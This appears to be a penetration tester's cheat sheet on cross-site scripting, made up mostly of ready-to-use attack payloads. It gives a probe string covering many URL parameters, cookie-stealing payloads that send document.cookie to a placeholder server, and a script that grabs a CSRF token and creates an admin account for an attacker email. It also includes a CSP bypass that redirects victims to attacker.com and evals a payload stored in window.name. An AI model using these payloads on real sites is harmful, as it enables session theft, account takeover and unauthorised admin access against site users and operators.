Cheat Sheet Collection

XSS

XSS

Cross-site Scripting occurs when you can inject arbitrary JavaScript into another user’s page

Very nice for performing authenticated actions, keylogging, or stealing cookies if they aren’t HttpOnly

Checking Common Parameters

Try something like

/?uname='>"<svg/onload=confirm('xss-uname')>&command='>"<svg/onload=confirm('xss-command')>&reverse='>"<svg/onload=confirm('xss-reverse')>&cancel='>"<svg/onload=confirm('xss-cancel')>&h='>"<svg/onload=confirm('xss-h')>&logout='>"<svg/onload=confirm('xss-logout')>&section='>"<svg/onload=confirm('xss-section')>&gid='>"<svg/onload=confirm('xss-gid')>&input='>"<svg/onload=confirm('xss-input')>&post_type='>"<svg/onload=confirm('xss-post_type')>&page='>"<svg/onload=confirm('xss-page')>&updated='>"<svg/onload=confirm('xss-updated')>&charset='>"<svg/onload=confirm('xss-charset')>&v='>"<svg/onload=confirm('xss-v')>

to test a bunch of parameters at once

Stealing Cookies

<script>fetch('http://{server}?c='+document.cookie)</script>

<img src=x onerror=this.src='http://{server}/?c='+document.cookie>

Performing actions

Often, if we can’t grab the session token, we’ll want to instead perform an authenticated action as the user, like adding a new user

We’ll sometimes need to grab the CSRF token, which can be done (alongside coercing the action) using this example:

(function() {
var xhr1 = new XMLHttpRequest();
// Grab CSRF token
xhr1.open('GET', 'https://{target}/{path_with_CSRF_token}', true);

xhr1.onreadystatechange = function() {
  if (xhr1.readyState === 4 && xhr1.status === 200) {
    var responseText = xhr1.responseText;

    var csrfToken = null;
    // Grab token, for example from <meta name='csrf-token' content='...' />
    var tokenMatch = responseText.match(/<meta\s+name=['"]csrf-token['"]\s+content=['"]([^'"]+)['"]/i);

    if (tokenMatch && tokenMatch[1]) {
      csrfToken = tokenMatch[1];

      var xhr2 = new XMLHttpRequest();
      xhr2.open('POST', 'https://{target}/users/create', true);
      xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
      xhr2.setRequestHeader('X-Csrf-Token', csrfToken);
      xhr2.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

      var payload = 'email={attacker_email}&fullName=testUser&role=admin';

      xhr2.send(payload);
    }
  }
};

xhr1.send();
})();

Then, just host the file and XSS using <script src=http://localhost/file.js></script>

Getting around CSPs

Since CSPs will prevent loading arbitrary scripts, we have to be a bit creative and use window properties

Window properties will persist across pages, so we can redirect a user to an attacker site, set the content, and redirect back

An example payload: <svg/onload="(name&&eval(self.name))||(location='//attacker.com/?b='+escape(location))">

Originally, self.name is empty, so it sets the location to our attacker site
The b URL parameter is provided the current location to redirect back to, once the payload is set
Then, after the payload is set and we redirect back to the site, the XSS procs again, resulting in the first half of the payload executing

The site we redirect to can be something simple, such as:

<!doctype html>
<script>
name = "";   // 1000-char payload as JS string literal
location = unescape(location.search.slice(3)); // Get the redirect location 
</script>